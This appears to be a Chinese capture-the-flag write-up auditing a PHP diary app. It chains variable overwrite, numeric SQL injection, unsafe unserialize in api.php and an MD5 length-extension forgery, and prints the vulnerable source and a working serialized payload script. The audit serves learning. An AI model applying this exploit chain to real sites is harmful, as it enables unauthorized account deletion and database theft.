github下载源码审计。
首先从配置文件common.php开始审计
一个很明显的变量覆盖漏洞
找找哪里存在可以利用的点。由于这个有登陆注册。忘记密码。都涉及到数据库。那么首先看sql相关语句。并且这里存在addslashes。得找到没有单引号包裹的sql语句
在riji.php文件中。发现了一处数字型sql注入。$id
可控。
继续搜。$id
从哪来
首先判断是否登陆。然后取session中的user值带入数据库查询。将返回的id作为值定义为变量id
突然想到个二次注入。联合查询修改返回结果。但是。结果会被intval强制转换为数字
继续看。。。
这里是判断用户登陆。然后存在。才会将id赋值。。
如果用户登陆后。又删掉了呢。sql语句查询不到结果。然后id就不会被赋值。可以通过变量覆盖控制id
接下来找个删除用户的点。找到了api.php
关键代码如下:
<?php
require_once("common.php");
session_start();
if (@$_SESSION['login'] === 1){
header('Location:/web/riji.php');
exit();
}
class admin {
var $name;
var $check;
var $data;
var $method;
var $userid;
var $msgid;
function check(){
$username = addslashes($this->name);//进入数据库的数据进行转义
@mysql_conn();
$sql = "select * from user where name='$username'";
$result = @mysql_fetch_array(mysql_query($sql));
mysql_close();
if(!empty($result)){
//利用 salt 验证是否为该用户
if($this->check === md5($result['salt'] . $this->data . $username)){
echo '(=-=)!!';
if($result['role'] == 1){//检查是否为admin用户
return 1;
}
else{
return 0;
}
}
else{
return 0;
}
}
else{
return 0;
}
}
function do_method(){
if($this->check() === 1){
if($this->method === 'del_msg'){
$this->del_msg();
}
elseif($this->method === 'del_user'){
$this->del_user();
}
else{
exit();
}
}
}
function del_msg(){
if($this->msgid)
{
$msg_id = intval($this->msgid);//防注入
@mysql_conn();
$sql1 = "DELETE FROM msg where id='$msg_id'";
if(mysql_query($sql1)){
echo('<script>alert("Delete message success!!")</script>');
exit();
}
else{
echo('<script>alert("Delete message wrong!!")</script>');
exit();
}
mysql_close();
}
else{
echo('<script>alert("Check Your msg_id!!")</script>');
exit();
}
}
function del_user(){
if($this->userid){
$user_id = intval($this->userid);//防注入
if($user_id == 1){
echo('<script>alert("Admin can\'t delete!!")</script>');
exit();
}
@mysql_conn();
$sql2 = "DELETE FROM user where userid='$user_id'";
if(mysql_query($sql2)){
echo('<script>alert("Delete user success!!")</script>');
exit();
}
else{
echo('<script>alert("Delete user wrong!!")</script>');
exit();
}
mysql_close();
}
else{
echo('<script>alert("Check Your user_id!!")</script>');
exit();
}
}
}
$a = unserialize(base64_decode($api));
$a->do_method();
?>
这里根据session判断是否登陆。登陆就跳转。我们可以开个其他浏览器访问。最后会执行$a->do_method()
方法
由于开头包含了common.php存在变量覆盖。这里的$api
没赋值。可控。是一个反序列化漏洞
这里只有一个类。就是admin。查看do_method()
方法,它触发了check()
方法
只要check方法为1就可以了。
需要满足条件
$this->check === md5($result['salt'] . $this->data . $username)
这里我们三个变量都可控。只有一个$result['salt']不可控
很容易想到hash扩展攻击。但是得这个salt
全局搜下这个salt在哪有输出
在forget.php中。有一个输出点。根据我们传入的usernae。然后找对应的密钥。然后将md5输出
在api.php中。sql语句对role有要求。必须是admin。那么这里我们找admin对应的密钥
得到密钥的base64(md5)值
然后用hashpump构造。但是我这里没有输出。而hashpump中input data又是必填的。。咋整。换工具
https://github.com/JoyChou93/md5-extension-attack
长度在common.php定义为16
得到payload。开始编写反序列化
<?php
class admin{
var $name = "admin";
var $check= "6122c04e8a1f3529d556199960ef2556";
var $data = "\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00";
var $method="del_user";
var $userid="3";
#这里是要删除用户的id。在cookie中可以看到。由于做完后写的wp。用户id变成了3
}
$a = new admin();
$api = base64_encode(serialize($a));
echo $api;
用户删除成功。此时另一个浏览器中。用户session被没被销毁。所以还是登陆状态
现在用户被删。id未赋值。变量覆盖回显注入拿flag